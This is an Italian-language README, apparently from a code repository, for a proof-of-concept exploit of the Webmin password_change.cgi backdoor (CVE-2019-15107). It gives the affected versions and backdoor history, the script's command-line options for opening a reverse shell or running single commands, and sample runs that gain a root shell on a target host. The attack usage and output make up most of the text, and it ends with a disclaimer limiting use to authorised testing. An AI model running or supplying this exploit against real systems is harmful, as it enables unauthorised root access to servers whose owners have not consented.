
Proof-of-concept exploit per CVE-2019-15107 (Webmin <= 1.920) che consente RCE non autenticata tramite command injection.
Questo repository contiene un exploit proof-of-concept (PoC) per CVE-2019-15107 che interessa le versioni di Webmin dalla 1.890 alla 1.920.
Lo script sfrutta una backdoor nelle versioni dalla 1.890 alla 1.920 che consente a utenti non autenticati di iniettare comandi nell'endpoint password_change.cgi tramite il parametro old (nella v.1.890 expired). Solo i download da SourceForge sono stati backdoorati, ma sono elencati come download ufficiali sul sito del progetto.
Attaccanti sconosciuti hanno inserito istruzioni Perl qx nel codice sorgente del server di build in due occasioni separate: una volta nell'aprile 2018, introducendo la backdoor nella versione 1.890, e nel luglio 2018, reintroducendola nelle versioni dalla 1.900 alla 1.920.
Solo la versione 1.890 è sfruttabile nell'installazione predefinita. Le versioni successive interessate richiedono che la funzione di modifica password scaduta sia abilitata.
L'exploit è stato testato con successo contro:
python3 cve-2019-15107.py -r <TARGET_IP> -l <LOCAL_IP> [options]
options:
-h, --help Show this help message and exit
-r, --rhost RHOST Target IP address
-rp, --rport RPORT Target port (default: 10000)
-l, --lhost LHOST Local IP for reverse shell
-lp, --lport LPORT Local port for reverse shell (default: 4343)
-s, --scheme {http,https} Protocol to use (default: https)
-x, --proxy [PROXY] Use proxy (default: http://127.0.0.1:8080)
-f, --force Force exploitation even if detection fails
-c, --cmd CMD Execute a single command instead of reverse shell
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[*] Starting listener on port 4343...
listening on [any] 4343 ...
[*] Sending payload...
connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/#
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[+] Command output:
========================================
root
Questo strumento è destinato esclusivamente a scopi educativi e di test autorizzati. L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si ha il permesso di testare è illegale. Usare in modo responsabile.